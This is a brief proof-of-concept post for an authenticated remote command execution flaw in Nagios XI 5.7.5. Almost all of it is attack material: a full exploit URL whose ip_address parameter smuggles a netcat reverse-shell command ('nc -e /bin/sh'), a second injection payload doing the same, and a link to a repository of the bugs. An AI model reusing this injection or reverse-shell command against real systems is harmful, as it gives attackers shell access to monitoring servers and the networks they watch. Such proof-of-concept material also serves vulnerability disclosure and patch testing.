Nagios XI 5.7.5 RCE POC (Works with admin/non-admin authentication): https://10.0.2.15/nagiosxi/config/monitoringwizard.php?update=1&nsp=e2401df06a3892ba612df20e1ce2f559d7647c4b5fcba7f64c23c0ea9df1564f&nextstep=4&wizard=digitalocean&no_ssl_verify=1&ip_address=127.0.0.1;nc -e /bin/sh 127.0.0.1 4445;&port=5693&token=123&submitButton2= Payload: 1024; nc -e /bin/sh 127.0.0.1 4444; https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs